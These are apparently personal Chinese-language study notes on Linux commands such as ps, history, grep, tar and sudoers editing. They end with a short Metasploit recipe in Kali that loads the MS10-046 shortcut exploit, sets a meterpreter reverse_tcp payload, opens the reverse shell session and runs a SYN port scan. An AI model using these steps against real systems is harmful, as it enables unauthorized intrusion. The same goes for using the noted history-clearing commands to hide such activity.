mesg 发送信息给root y n
write/talk 写消息给
wall 给所有用户发送消息
ps -aux ps -elF
pstree
命令行跳转：CTRL+a行首 CTRL+e行尾 CTRL+u清除光标左侧至开头 CTRL+k清除光标右侧至结尾 CTRL+左右键
history -c 清除所有命令 history -d 500 10 从第500个历史开始 删除10个命令记录
tr 'a-z' 'A-Z' 替换命令
wc -l
grep --color -i -v显示没有被模式匹配到的行
sed(Stream EDitor) 流编辑器 - 行编辑器
awk
给文件添加特殊权限 suid: chmod u+s FILENAME SGID
查看用户登录情况及日志： w whoami who last所有登录主机用户时间日志 lastb登录错误日志 lastlog所有用户登录日志总揽 mail查看邮件
命令gzip bzip2 xz 压缩文件，并且会删除原文件， 解压缩gunzip zcat bzcat查看压缩文件 但是不解压 这几个命令是无法压缩文件夹的,只能压缩文件
zip 可以压缩文件夹， 并且得指定压缩后文件名xxx.zip 不删除源文件
tar -xzvf解压缩并展开归档 -czvf归档并压缩
visudo 专门用来编辑 /etc/sudoers 1）chmod u+w /etc/sudoers 2) vi /etc/sudoers user1 ALL=(ALL) ALL 这就使得用户user1,可以使用sudo命令，执行超级权限了。 3) 最后撤销/etc/sudoer文件的权限 chmod u-w /etc/sudoers
kali下metaexploit使用:
msfconsole进入msf
armitage图形化界面
exploit模块：
use exploit/windows/brower/ms10_046_shortcut_icon_dllloader //使用哪个exploit
show options //查看需要配置的参数
set SRVHOST 192.XXX
set PAYLOAD windows/meterpreter/reverse_tcp //配置exploit成功后 使用的payload
show options
set LHOST 192.XXX
sessions -i 1 //如果攻击成功 进入攻击成功后获取的反弹的CMDSHELL
auxiliary模块：
use auxiliary/scanner/portscan/syn
